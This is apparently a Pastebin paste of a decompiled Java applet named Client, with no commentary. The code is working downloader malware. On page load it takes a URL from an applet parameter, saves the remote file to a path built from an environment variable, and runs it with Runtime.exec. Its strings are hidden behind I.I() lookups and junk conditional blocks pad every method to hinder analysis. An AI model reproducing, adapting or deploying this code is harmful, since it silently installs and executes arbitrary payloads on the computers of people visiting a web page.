daily pastebin goal
50%
SHARE
TWEET

Untitled

a guest Oct 31st, 2011 78 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import I.I;
  2. import java.applet.Applet;
  3. import java.io.FileOutputStream;
  4. import java.io.InputStream;
  5. import java.net.HttpURLConnection;
  6. import java.net.URL;
  7.  
  8. public class Client extends Applet
  9. {
  10.   private String a = null;
  11.   private String b = null;
  12.   private String c = null;
  13.  
  14.   public final void init()
  15.   {
  16.     if ((this.b == this.c) && (this.b + I.I(1) == this.c + I.I(1)))
  17.     {
  18.       this.b = I.I(4);
  19.       this.c = I.I(6);
  20.       this.b = this.c;
  21.     }
  22.     this.a = getParameter(I.I(8));
  23.   }
  24.  
  25.   public final void start()
  26.   {
  27.     if ((this.b == this.c) && (this.b + I.I(1) == this.c + I.I(1)))
  28.     {
  29.       this.b = I.I(4);
  30.       this.c = I.I(6);
  31.       this.b = this.c;
  32.     }
  33.     jnf3h9go56n();
  34.   }
  35.  
  36.   public final void jnf3h9go56n()
  37.   {
  38.     try
  39.     {
  40.       if ((this.b == this.c) && (this.b + I.I(1) == this.c + I.I(1)))
  41.       {
  42.         this.b = I.I(4);
  43.         this.c = I.I(6);
  44.         this.b = this.c;
  45.       }
  46.       if ((this.b == this.c) && (this.b + I.I(1) == this.c + I.I(1)))
  47.       {
  48.         this.b = I.I(4);
  49.         this.c = I.I(6);
  50.         this.b = this.c;
  51.       }
  52.       String str = System.getenv(I.I(19)) + I.I(24);
  53.       if ((this.b == this.c) && (this.b + I.I(1) == this.c + I.I(1)))
  54.       {
  55.         this.b = I.I(4);
  56.         this.c = I.I(6);
  57.         this.b = this.c;
  58.       }
  59.       Object localObject1 = new FileOutputStream(str);
  60.       if ((this.b == this.c) && (this.b + I.I(1) == this.c + I.I(1)))
  61.       {
  62.         this.b = I.I(4);
  63.         this.c = I.I(6);
  64.         this.b = this.c;
  65.       }
  66.       Object localObject2 = new URL(this.a);
  67.       if ((this.b == this.c) && (this.b + I.I(1) == this.c + I.I(1)))
  68.       {
  69.         this.b = I.I(4);
  70.         this.c = I.I(6);
  71.         this.b = this.c;
  72.       }
  73.       localObject2 = (HttpURLConnection)((URL)localObject2).openConnection();
  74.       if ((this.b == this.c) && (this.b + I.I(1) == this.c + I.I(1)))
  75.       {
  76.         this.b = I.I(4);
  77.         this.c = I.I(6);
  78.         this.b = this.c;
  79.       }
  80.       ((HttpURLConnection)localObject2).setRequestMethod(I.I(38));
  81.       if ((this.b == this.c) && (this.b + I.I(1) == this.c + I.I(1)))
  82.       {
  83.         this.b = I.I(4);
  84.         this.c = I.I(6);
  85.         this.b = this.c;
  86.       }
  87.       ((HttpURLConnection)localObject2).connect();
  88.       if ((this.b == this.c) && (this.b + I.I(1) == this.c + I.I(1)))
  89.       {
  90.         this.b = I.I(4);
  91.         this.c = I.I(6);
  92.         this.b = this.c;
  93.       }
  94.       int i = ((HttpURLConnection)localObject2).getResponseCode();
  95.       if ((this.b == this.c) && (this.b + I.I(1) == this.c + I.I(1)))
  96.       {
  97.         this.b = I.I(4);
  98.         this.c = I.I(6);
  99.         this.b = this.c;
  100.       }
  101.       if (i == 200)
  102.       {
  103.         if ((this.b == this.c) && (this.b + I.I(1) == this.c + I.I(1)))
  104.         {
  105.           this.b = I.I(4);
  106.           this.c = I.I(6);
  107.           this.b = this.c;
  108.         }
  109.         byte[] arrayOfByte = new byte[4096];
  110.         if ((this.b == this.c) && (this.b + I.I(1) == this.c + I.I(1)))
  111.         {
  112.           this.b = I.I(4);
  113.           this.c = I.I(6);
  114.           this.b = this.c;
  115.         }
  116.         localObject2 = ((HttpURLConnection)localObject2).getInputStream();
  117.         if ((this.b == this.c) && (this.b + I.I(1) == this.c + I.I(1)))
  118.         {
  119.           this.b = I.I(4);
  120.           this.c = I.I(6);
  121.           this.b = this.c;
  122.         }
  123.         if ((this.b == this.c) && (this.b + I.I(1) == this.c + I.I(1)))
  124.         {
  125.           this.b = I.I(4);
  126.           this.c = I.I(6);
  127.         }
  128.         label1229: int j;
  129.         for (this.b = this.c; (j = ((InputStream)localObject2).read(arrayOfByte)) > 0; this.b = this.c)
  130.         {
  131.           if ((this.b == this.c) && (this.b + I.I(1) == this.c + I.I(1)))
  132.           {
  133.             this.b = I.I(4);
  134.             this.c = I.I(6);
  135.             this.b = this.c;
  136.           }
  137.           ((FileOutputStream)localObject1).write(arrayOfByte, 0, j);
  138.           if ((this.b == this.c) && (this.b + I.I(1) == this.c + I.I(1)))
  139.           {
  140.             this.b = I.I(4);
  141.             this.c = I.I(6);
  142.             this.b = this.c;
  143.           }
  144.           ((FileOutputStream)localObject1).flush();
  145.           if ((this.b != this.c) || (this.b + I.I(1) != this.c + I.I(1)))
  146.             break label1229;
  147.           this.b = I.I(4);
  148.           this.c = I.I(6);
  149.         }
  150.         if ((this.b == this.c) && (this.b + I.I(1) == this.c + I.I(1)))
  151.         {
  152.           this.b = I.I(4);
  153.           this.c = I.I(6);
  154.           this.b = this.c;
  155.         }
  156.         ((FileOutputStream)localObject1).close();
  157.         if ((this.b == this.c) && (this.b + I.I(1) == this.c + I.I(1)))
  158.         {
  159.           this.b = I.I(4);
  160.           this.c = I.I(6);
  161.           this.b = this.c;
  162.         }
  163.         localObject1 = Runtime.getRuntime();
  164.         if ((this.b == this.c) && (this.b + I.I(1) == this.c + I.I(1)))
  165.         {
  166.           this.b = I.I(4);
  167.           this.c = I.I(6);
  168.           this.b = this.c;
  169.         }
  170.         ((Runtime)localObject1).exec(str);
  171.         if ((this.b == this.c) && (this.b + I.I(1) == this.c + I.I(1)))
  172.         {
  173.           this.b = I.I(4);
  174.           this.c = I.I(6);
  175.           this.b = this.c;
  176.         }
  177.       }
  178.       return;
  179.     }
  180.     catch (Exception localException)
  181.     {
  182.     }
  183.   }
  184.  
  185.   public final void stop()
  186.   {
  187.     if ((this.b == this.c) && (this.b + I.I(1) == this.c + I.I(1)))
  188.     {
  189.       this.b = I.I(4);
  190.       this.c = I.I(6);
  191.       this.b = this.c;
  192.     }
  193.   }
  194. }
  195.  
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top